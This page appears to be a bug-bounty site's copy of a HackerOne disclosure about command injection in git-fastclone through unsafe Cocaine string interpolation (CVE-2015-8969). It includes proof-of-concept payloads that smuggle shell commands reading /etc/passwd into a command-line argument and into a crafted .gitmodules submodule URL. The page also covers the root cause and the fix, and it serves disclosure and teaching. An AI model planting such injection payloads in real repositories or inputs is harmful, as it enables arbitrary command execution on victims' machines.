Skip to content
RCE Disclosed report Intermediate CVE-2015-8969

Unsafe usage of Ruby string interpolation enabling command injection in git-fastclone

The git-fastclone tool used the Cocaine library unsafely by passing interpolated strings to Cocaine::CommandLine.new, which does not escape arguments. An attacker could inject shell commands via user-supplied input or a malicious git submodule URL, leading to command execution.

bburky Follow

Originally disclosed on HackerOne

  • Triaged in 17 hours
  • Fixed in 29 days
  • Paid in 29 days
  • Disclosed after 42 days

While testing git-fastclone for the ext protocol issues in my other report, I looked at the source code and immediately noticed you're using the Cocaine library unsafely. Cocaine will protect from command injection but it "only does that for arguments interpolated via run, NOT arguments passed into new" (from it's README).

Throughout git-fastclone you call Cocaine::CommandLine.new and use plain Ruby string interpolation. This is enables command injection in basically every instance. Instead you need to construct the command line passed to #new with :foo placeholders and use #run to perform the variable substitution. The security section of the README talks about this a bit.

Here's a very simple exploit POC:

git fastclone "'"'$(cat /etc/passwd >&2)'"'"

This first POC may seem less severe because the exploit string is visible to the user. However, in many places command injection is possible using from attacker controlled values within the git repository. Consider the following POC instead which performs command injection into Cocaine::CommandLine through a git submodule URL. (Note that this exploit has absolutely nothing at all to do with my previous report concerning the git ext protocol.)

git init cocaine-command-injection
cd cocaine-command-injection

# This can be the URL of any valid git repository
# This is just used to initially create the submodule in the repo
git submodule add https://github.com/octocat/Hello-World malicious-submodule

cat >.gitmodules <<"EOF"
[submodule "malicious-submodule"]
    path = malicious-submodule
    url = "'`cat /etc/passwd >&2`'"
EOF
git add .gitmodules
git commit -m 'Malicious Cocaine command injection submodule'
cd ..

# Now clone the repository
git fastclone cocaine-command-injection cocaine-command-injection-clone

Please instead safely build Cocaine::CommandLine calls by passing placeholders to #new and use Cocaine's variable interpolation using the hash passed to #run.

The original report as published on HackerOne, by bburky. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code used Ruby string interpolation to build command lines passed to Cocaine::CommandLine.new, which does not escape arguments, instead of using Cocaine's safe placeholder and run mechanism.

Impact

An attacker could execute arbitrary commands on a victim's machine when the victim clones a malicious repository or provides crafted input to git-fastclone.

What the attacker needed

Victim runs git fastclone on malicious repo; or victim provides crafted input

The fix

The code should be fixed by passing placeholders to Cocaine::CommandLine.new and using Cocaine's variable interpolation via the hash passed to run.

How it was found

  1. Create a git repository with a submodule whose URL contains a command injection payload.
  2. Commit the malicious .gitmodules file.
  3. Run git fastclone on the malicious repository to trigger the injection.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

git-fastclone is a tool that speeds up cloning git repositories. It used a library called Cocaine to run shell commands, but it built the commands by directly inserting user input into a string. Because Cocaine only protects against injection when you use its placeholder feature, an attacker could craft input that runs their own commands on the victim's computer.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by bburky

View all

1 more disclosed report, best first.

More from Square Open Source

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.